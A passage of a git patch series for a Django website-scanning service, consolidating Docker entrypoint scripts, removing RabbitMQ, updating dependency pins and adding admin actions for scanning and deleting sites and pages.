+RUN chown -R app:app /usr/bin/microsoft-edge-stable
 
 # staring up services
 COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh"
diff --git a/archive/docker-compose.dev.yml b/archive/docker-compose.dev.yml
new file mode 100644
index 00000000..51c7796d
--- /dev/null
+++ b/archive/docker-compose.dev.yml
@@ -0,0 +1,140 @@
+services:
+
+
+  app:
+    container_name: scanerr-app
+    hostname: scanerr-app
+    restart: always
+    privileged: true
+    init: true
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "app"]
+    expose:
+      - 8000
+    env_file:
+      - ./env/.env.dev
+    volumes:
+      - ./app:/app
+      - static_volume:/app/static
+    depends_on:
+      - db
+
+  
+  db:
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
+    ports:
+      - "5432"
+    env_file:
+      - ./env/.env.dev
+    volumes: 
+      - pgdata:/var/lib/postgresql/data
+
+
+  redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
+    image: redis:alpine
+    ports:
+      - "6379"
+
+
+  celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    env_file:
+      - ./env/.env.dev
+    volumes:
+      - ./app:/scanerr
+    depends_on:
+      - redis
+      - app
+      - db
+
+
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.dev
+    depends_on:
+      - redis
+      - celery
+      - app
+      - db
+
+
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
+  nginx-proxy:
+    container_name: nginx-proxy
+    hostname: nginx-proxy
+    build: nginx
+    restart: always
+    ports:
+      - 443:443
+      - 80:80
+    volumes:
+      - static_volume:/app/static
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - /var/run/docker.sock:/tmp/docker.sock:ro
+    depends_on:
+      - app
+  
+  
+  nginx-proxy-letsencrypt:
+    container_name: nginx-proxy-letsencrypt
+    hostname: nginx-proxy-letsencrypt
+    image: nginxproxy/acme-companion
+    environment:
+      - DEFAULT_EMAIL=youremail@yourdomain.com
+      - NGINX_PROXY_CONTAINER=nginx-proxy
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock:ro
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - letsencrypt-acme:/etc/acme.sh
+    depends_on:
+      - nginx-proxy
+
+
+volumes:
+  static_volume:
+  letsencrypt-acme:
+  pgdata:
+  certs:
+  html:
+  vhost:
\ No newline at end of file
diff --git a/setup/scripts/remote-entrypoint.sh b/archive/remote-entrypoint.sh
similarity index 100%
rename from setup/scripts/remote-entrypoint.sh
rename to archive/remote-entrypoint.sh
diff --git a/setup/requirements/requirements-staging.txt b/archive/requirements.txt
similarity index 50%
rename from setup/requirements/requirements-staging.txt
rename to archive/requirements.txt
index 45f55aea..46d35ecf 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/archive/requirements.txt
@@ -1,44 +1,44 @@
-amqp==5.2.0
-asgiref==3.8.1
+amqp==5.0.6
+asgiref==3.3.4
 beautifulsoup4==4.12.2
-billiard==4.2.0
+billiard==3.6.4.0
 boto3==1.20.32
-celery==5.4.0
+celery==5.1.0
 certifi==2023.7.22
 chardet==4.0.0
-click==8.1.7
-click-didyoumean==0.3.1
+click==7.1.2
+click-didyoumean==0.0.3
 click-plugins==1.1.1
-click-repl==0.3.0
-Django==5.0.6
-django-celery-beat==2.6.0
-django-filter==24.2
-djangorestframework==3.15.1
-django-markdownify==0.9.5
-django-cors-headers==4.3.1
-django-storages==1.14.3
-djangorestframework-simplejwt==5.3.1
+click-repl==0.2.0
+Django==3.2.3
+django-celery-beat==2.2.0
+django-filter==2.4.0
+djangorestframework==3.12.4
+django-markdownify==0.9.0
+django-cors-headers==3.7.0
+django-storages==1.12.3
+djangorestframework-simplejwt==4.7.2
 docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
 imutils==0.5.4
-kombu==5.3.7
-Markdown==3.6
-numpy~=1.26.4
+kombu==5.1.0
+Markdown==3.3.4
+numpy==1.22.3
 openai==1.35.14
 opencv-python==4.5.5.64
-Pillow==10.3.0
+Pillow==9.0.1
 prometheus-client==0.8.0
-prompt-toolkit==3.0.43
-psycopg2==2.9.9
+prompt-toolkit==3.0.18
+psycopg2==2.8.6
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
-reportlab==4.2.0
-scikit-image==0.23.2
-scipy==1.13.0
+reportlab==3.6.6
+scikit-image==0.21.0
+scipy==1.8.0
 selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
@@ -48,7 +48,7 @@ stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5
-vine==5.1.0
+vine==5.0.0
 wcwidth==0.2.5
 websocket-client==1.0.1
 whitenoise==6.1.0
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7700cc1a..8cbbc23c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -5,12 +5,13 @@ services:
     container_name: scanerr-app
     hostname: scanerr-app
     restart: always
+    platform: linux/amd64
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "remote"]
     expose:
       - 8000
     env_file:
@@ -42,29 +43,21 @@ services:
       - "6379"
 
 
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
-
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.dev
     volumes:
       - ./app:/scanerr
     depends_on:
-      - rabbitmq
       - redis
       - app
       - db
@@ -73,24 +66,24 @@ services:
   beat:
     container_name: scanerr-beat
     hostname: scanerr-beat
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.dev
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
-
-
+      - db
+      
+  
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 8a56769e..60d0d0e2 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -4,15 +4,16 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
+    platform: linux/amd64
     privileged: true
     init: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
+      dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/local-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "local"]
     env_file:
       - ./env/.env.local
     volumes:
@@ -37,55 +38,47 @@ services:
     image: redis:alpine
     ports:
       - "6379"
-  
-
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
 
 
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "celery"]
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "celery"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.local
     depends_on:
-      - rabbitmq
-      - db
       - redis
       - app
+      - db
 
 
   beat:
     container_name: scanerr-beat
     hostname: scanerr-beat
+    platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "beat"]
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.local
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
+      - db
 
 
   yellowlab:
@@ -97,7 +90,6 @@ services:
     ports:
       - 8383:8383
     depends_on:
-      - rabbitmq
       - redis
       - celery 
       - app
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 8da181b4..90731a1c 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -5,12 +5,13 @@ services:
     container_name: scanerr-app
     hostname: scanerr-app
     restart: always
+    platform: linux/amd64
     privileged: true
     init: true
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "remote"]
     expose:
       - 8000
     env_file:
@@ -42,14 +43,6 @@ services:
       - "6379"
 
 
-  rabbitmq:
-    container_name: scanerr-rabbitmq
-    hostname: scanerr-rabbitmq
-    image: rabbitmq:alpine
-    ports:
-      - "5672"
-
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -58,7 +51,7 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
       - ./env/.env.prod
     volumes:
@@ -77,17 +70,16 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - ./app:/scanerr
     env_file:
       - ./env/.env.prod
     depends_on:
-      - celery
-      - rabbitmq
-      - db
       - redis
+      - celery
       - app
+      - db
 
 
   yellowlab:
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index e9e47f79..64030f74 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -4,42 +4,17 @@ services:
   app:
     container_name: scanerr-app
     hostname: scanerr-app
+    platform: linux/amd64
     privileged: true
     init: true
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
+      dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/local-entrypoint.sh", "app"]
+    entrypoint: ["/entrypoint.sh", "app", "local"]
     env_file:
       - ./env/.env.stage
     volumes:
       - ./app:/app
-  
-
-  redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
-    image: redis:alpine
-    ports:
-      - "6379"
-  
-
-  celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
-    privileged: true
-    restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile.local
-    entrypoint: ["/local-entrypoint.sh", "celery"]
-    env_file:
-      - ./env/.env.stage
-    volumes:
-      - ./app:/scanerr
-    depends_on:
-      - redis
-      - app
diff --git a/env/.env.dev.example b/env/.env.dev.example
index ce40e782..8697b4fb 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -39,6 +39,7 @@ POSTGRES_PASSWORD=supersecretpassword
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/env/.env.prod.example b/env/.env.prod.example
index b45812e4..107c2245 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -35,6 +35,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/env/.env.stage.example b/env/.env.stage.example
index d1b0d3c0..b9a61246 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -34,6 +34,7 @@ DB_PASS = supersecretpassword
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/google-chrome
 FIREFOX_BROWSER = /usr/bin/firefox
+EDGE_BROWSER = /usr/bin/microsoft-edge-stable
 
 
 # stripe keys
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 41f6206c..7a894574 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -3,7 +3,6 @@
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
-  - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
     - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
     - [Get \& Set Node Memory:](#get--set-node-memory)
@@ -48,11 +47,11 @@ $ git clone https://github.com/Scanerr-io/server.git
 ```
 *Spin-up the application*
 ```shell
-$ docker compose up --build
+$ docker compose -f docker-compose.local.yml up --build
 ```
 *Spin-down the application*
 ```shell
-$ docker compose up down
+$ docker compose -f docker-compose.local.yml down
 ```
 
 &nbsp;
@@ -123,11 +122,6 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ```
 
 
-## Deploy Yellowlabs
-1. Run same server set-up untill the .git portion.
-2. ```docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools```
-
-
 
 &nbsp;
 
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 46d35ecf..45f55aea 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -1,44 +1,44 @@
-amqp==5.0.6
-asgiref==3.3.4
+amqp==5.2.0
+asgiref==3.8.1
 beautifulsoup4==4.12.2
-billiard==3.6.4.0
+billiard==4.2.0
 boto3==1.20.32
-celery==5.1.0
+celery==5.4.0
 certifi==2023.7.22
 chardet==4.0.0
-click==7.1.2
-click-didyoumean==0.0.3
+click==8.1.7
+click-didyoumean==0.3.1
 click-plugins==1.1.1
-click-repl==0.2.0
-Django==3.2.3
-django-celery-beat==2.2.0
-django-filter==2.4.0
-djangorestframework==3.12.4
-django-markdownify==0.9.0
-django-cors-headers==3.7.0
-django-storages==1.12.3
-djangorestframework-simplejwt==4.7.2
+click-repl==0.3.0
+Django==5.0.6
+django-celery-beat==2.6.0
+django-filter==24.2
+djangorestframework==3.15.1
+django-markdownify==0.9.5
+django-cors-headers==4.3.1
+django-storages==1.14.3
+djangorestframework-simplejwt==5.3.1
 docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
 imutils==0.5.4
-kombu==5.1.0
-Markdown==3.3.4
-numpy==1.22.3
+kombu==5.3.7
+Markdown==3.6
+numpy~=1.26.4
 openai==1.35.14
 opencv-python==4.5.5.64
-Pillow==9.0.1
+Pillow==10.3.0
 prometheus-client==0.8.0
-prompt-toolkit==3.0.18
-psycopg2==2.8.6
+prompt-toolkit==3.0.43
+psycopg2==2.9.9
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
-reportlab==3.6.6
-scikit-image==0.21.0
-scipy==1.8.0
+reportlab==4.2.0
+scikit-image==0.23.2
+scipy==1.13.0
 selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
@@ -48,7 +48,7 @@ stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5
-vine==5.0.0
+vine==5.1.0
 wcwidth==0.2.5
 websocket-client==1.0.1
 whitenoise==6.1.0
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
new file mode 100755
index 00000000..fbac48bb
--- /dev/null
+++ b/setup/scripts/entrypoint.sh
@@ -0,0 +1,43 @@
+#!/bin/bash
+
+# spin up app in local or remote env
+if [[ $1 == *"app"* ]]
+then 
+  if [[ $2 == *"local"* ]]
+  then
+    python3 manage.py wait_for_db && 
+    python3 manage.py makemigrations  --no-input &&
+    python3 manage.py migrate --no-input &&
+    python3 manage.py collectstatic --no-input &&
+    python3 manage.py create_admin &&
+    python3 manage.py driver_test &&
+    python3 manage.py runserver 0.0.0.0:8000
+  fi
+  if [[ $2 == *"remote"* ]]
+    then 
+      python3 manage.py wait_for_db && 
+      python3 manage.py makemigrations  --no-input &&
+      python3 manage.py migrate --no-input &&
+      python3 manage.py collectstatic --no-input &&
+      python3 manage.py create_admin &&
+      python3 manage.py driver_test &&
+      gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+    fi
+fi
+
+# spin up celery
+if [[ $1 == *"celery"* ]]
+then
+  python3 manage.py wait_for_db && 
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr worker -E --loglevel=info -O fair
+fi
+
+# spin up celery beat
+if [[ $1 == *"beat"* ]]
+then
+  python3 manage.py wait_for_db &&
+  echo "pausing for migrations to complete..." && sleep 7s &&
+  celery -A scanerr beat --scheduler django --loglevel=info
+fi
+
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
deleted file mode 100755
index c6e5669e..00000000
--- a/setup/scripts/local-entrypoint.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/bash
-
-# spin up app in local env
-if [[ $1 == *"app"* ]]
-then 
-  python3 manage.py wait_for_db && 
-  python3 manage.py makemigrations  --no-input &&
-  python3 manage.py migrate --no-input &&
-  python3 manage.py collectstatic --no-input &&
-  python3 manage.py create_admin &&
-  python3 manage.py driver_test &&
-  python3 manage.py runserver 0.0.0.0:8000
-fi
-
-# spin up celery in local env
-if [[ $1 == *"celery"* ]]
-then
-  python3 manage.py wait_for_db && 
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr worker -E --loglevel=info -O fair
-fi
-
-# spin up celery beat in remote env
-if [[ $1 == *"beat"* ]]
-then
-  python3 manage.py wait_for_db &&
-  echo "pausing for migrations to complete..." && sleep 7s &&
-  celery -A scanerr beat --scheduler django --loglevel=info
-fi
-

From 35748f5f4f24512e6db94995d987ea525c328fde Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 13 Aug 2024 20:31:53 -0600
Subject: [PATCH 0646/1099] removed rabbitmq dependency

---
 docker-compose.dev.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 8cbbc23c..79fe150a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -93,7 +93,6 @@ services:
     ports:
       - 8383:8383
     depends_on:
-      - rabbitmq
       - redis
       - celery 
       - app

From d76a62e848b1f4fbbd0d323f9970242ebdb8b6a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 09:45:06 -0600
Subject: [PATCH 0647/1099] added redirect and fixed scan issue creation

---
 app/api/urls.py            | 2 ++
 app/api/v1/ops/services.py | 4 ++--
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/urls.py b/app/api/urls.py
index 9df63e49..39d9edea 100644
--- a/app/api/urls.py
+++ b/app/api/urls.py
@@ -1,11 +1,13 @@
 from .v1 import urls as v1_urls
 from django.urls import path, include
+from django.views.generic.base import RedirectView
 
 
 
 
 urlpatterns = [
     path('v1/', include(v1_urls)),
+    path('', RedirectView.as_view(url='v1/auth/', permanent=False))
 ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 269a28e9..b2db0a3b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1545,8 +1545,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.info['latest_scan']['time_created'] = str(timezone.now())
         p.info['latest_scan']['time_completed'] = None
-        p.info['status']['score'] = None
-        p.info['status']['score'] = None
+        p.info['latest_scan']['status']['score'] = None
+        p.info['latest_scan']['status']['score'] = None
         p.save()
 
         # updating latest_scan info for site

From b49694622b435b971433a5f06336b926b9be073d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 10:54:04 -0600
Subject: [PATCH 0648/1099] adding admin tools and fixing some bugs

---
 app/api/admin.py           |  98 ++++++++++++++++++-
 app/api/tasks.py           |  10 +-
 app/api/utils/tester.py    |   2 +-
 app/api/v1/ops/services.py | 186 ++++++++++++++++++++++++-------------
 4 files changed, 224 insertions(+), 72 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 50b2f862..a2ec4e7d 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -1,6 +1,14 @@
 from django.contrib import admin
 from .models import *
 from datetime import datetime
+from .v1.ops.services import (
+    create_scan, create_test, 
+    delete_site, delete_page, 
+    delete_scan, delete_test,
+    delete_case, delete_testcase,
+    crawl_site
+)
+from .tasks import reset_account_usage
 
 
 
@@ -11,6 +19,35 @@
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
     search_fields = ('site_url',)
+    actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
+
+    def crawl_sites(self, request, queryset):
+        for site in queryset:
+            crawl_site(
+                id=site.id,
+                account=site.account
+            )
+
+    def scan_sites(self, request, queryset):
+        for site in queryset:
+            create_scan(
+                site_id=site.id,
+                user_id=site.account.user.id
+            )
+    
+    def test_sites(self, request, queryset):
+        for site in queryset:
+            create_test(
+                site_id=site.id,
+                user_id=site.account.user.id
+            )
+    
+    def delete_sites(self, request, queryset):
+        for site in queryset:
+            delete_site(
+                id=site.id,
+                account=site.account
+            )
 
 
 
@@ -19,6 +56,28 @@ class SiteAdmin(admin.ModelAdmin):
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
     search_fields = ('page_url',)
+    actions = ['scan_pages', 'test_pages', 'delete_pages',]
+
+    def scan_pages(self, request, queryset):
+        for page in queryset:
+            create_scan(
+                page_id=page.id,
+                user_id=page.account.user.id
+            )
+    
+    def test_pages(self, request, queryset):
+        for page in queryset:
+            create_test(
+                page_id=page.id,
+                user_id=page.account.user.id
+            )
+    
+    def delete_pages(self, request, queryset):
+        for page in queryset:
+            delete_page(
+                id=page.id,
+                account=page.account
+            )
 
 
 
@@ -27,7 +86,14 @@ class SiteAdmin(admin.ModelAdmin):
 class TestAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
     search_fields = ('page',)
+    actions = ['delete_tests',]
 
+    def delete_tests(self, request, queryset):
+        for test in queryset:
+            delete_test(
+                id=test.id,
+                account=test.page.account
+            )
 
 
 
@@ -35,7 +101,14 @@ class TestAdmin(admin.ModelAdmin):
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page',)
-    actions = ['mark_as_completed',]
+    actions = ['delete_scans', 'mark_as_completed',]
+
+    def delete_scans(self, request, queryset):
+        for scan in queryset:
+            delete_scan(
+                id=scan.id,
+                account=scan.page.account
+            )
 
     def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
@@ -47,6 +120,13 @@ def mark_as_completed(self, request, queryset):
 class AccountAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'type')
     search_fields = ('__str__',)
+    actions = ['reset_usage',]
+
+    def reset_usage(self, request, queryset):
+        for account in queryset:
+            reset_account_usage(
+                account_id=account.id
+            )
 
 
 
@@ -105,6 +185,14 @@ class ProcessAdmin(admin.ModelAdmin):
 @admin.register(Case)
 class CaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created',)
+    actions = ['delete_cases',]
+
+    def delete_cases(self, request, queryset):
+        for case in queryset:
+            delete_case(
+                id=case.id,
+                account=case.account
+            )
 
 
 
@@ -112,6 +200,14 @@ class CaseAdmin(admin.ModelAdmin):
 @admin.register(Testcase)
 class TestcaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created', 'time_completed',)
+    actions = ['delete_testcases',]
+
+    def delete_testcases(self, request, queryset):
+        for testcase in queryset:
+            delete_testcase(
+                id=testcase.id,
+                account=testcase.account
+            )
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 07bf977e..2bbf0d0b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1142,9 +1142,11 @@ def reset_usage(account):
                 account.sub_id
             )
 
-            # get and formate sub.current_peroid_start
+            print(sub)
+
+            # get and formate sub.current_period_end
             sub_date = datetime.fromtimestamp(
-                sub.current_peroid_start
+                sub.current_period_end
             ).strftime('%Y-%m-%d')
             print(f'sub_date -> {sub_date}')
 
@@ -1256,8 +1258,10 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
     # update account with new info
     account.price_id = price.id
     account.price_amount = 0
-    account.save()
     account.price_amount = price_amount
+    account.usage['scans_allowed'] = (max_sites * 200)
+    account.usage['tests_allowed'] = (max_sites * 200)
+    account.usage['testcases_allowed'] = (max_sites * 100)
     account.save()
 
     print(f'new price -> {price_amount}')
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 42e6b84c..9368cc13 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -642,7 +642,7 @@ def update_site_info(self, test: object) -> object:
                 ).order_by('-time_completed')
                 if len(_test) > 0:
                     if _test[0].score is not None:
-                        tests.append(_test.score)
+                        tests.append(_test[0].score)
         
         if len(tests) > 0:
             
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b2db0a3b..42bb25d7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -553,34 +553,40 @@ def create_site(request: object, delay: bool=False) -> object:
 
 
 
-def crawl_site(request: object, id: str) -> object:
+def crawl_site(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Initiates a new Crawl for the passed `Site`.id
 
     Expects: {
         'request' : object, 
-        'id'      : str
+        'id'      : str,
+        'account' ; object
     }
     
     Returns -> HTTP Response object
     """
 
     # get user and account
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    # setting configs
-    configs = request.data.get('configs', None)
+    if request:
+        user = request.user
+        account = Member.objects.get(user=user).account
+        configs = request.data.get('configs', None)
+    
+    if not request:
+        user = account.user
+        configs = account.configs
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # update site info
     site = Site.objects.get(id=id)
@@ -591,12 +597,14 @@ def crawl_site(request: object, id: str) -> object:
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
     # serializing and returning
-    serializer_context = {'request': request,}
-    serialized = SiteSerializer(site, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
+    if request:
+        serializer_context = {'request': request,}
+        serialized = SiteSerializer(site, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '201')
+        response = Response(data, status=status.HTTP_201_CREATED)
+        return response
+    return None
 
 
 
@@ -1230,7 +1238,7 @@ def get_page(request: object, id: str) -> object:
 
 
 
-def delete_page(request: object, id: str) -> object:
+def delete_page(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Page` associated with the passed "id" 
 
@@ -1243,15 +1251,21 @@ def delete_page(request: object, id: str) -> object:
     """
     
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, page_id=id, resource='page')
+    check_data = check_account_and_resource(user=user, page_id=id, resource='page')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get page by id
     page = Page.objects.get(id=id)
@@ -1274,9 +1288,11 @@ def delete_page(request: object, id: str) -> object:
 
     # format and return
     data = {'message': 'Page has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -1545,8 +1561,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.info['latest_scan']['time_created'] = str(timezone.now())
         p.info['latest_scan']['time_completed'] = None
-        p.info['latest_scan']['status']['score'] = None
-        p.info['latest_scan']['status']['score'] = None
+        p.info['latest_scan']['score'] = None
+        p.info['latest_scan']['score'] = None
         p.save()
 
         # updating latest_scan info for site
@@ -1827,28 +1843,35 @@ def get_scan_lean(request: object, id: str) -> object:
 
 
 
-def delete_scan(request: object, id: str) -> object:
+def delete_scan(request: object=None, id: str=None, account: object=None) -> object:
     """ 
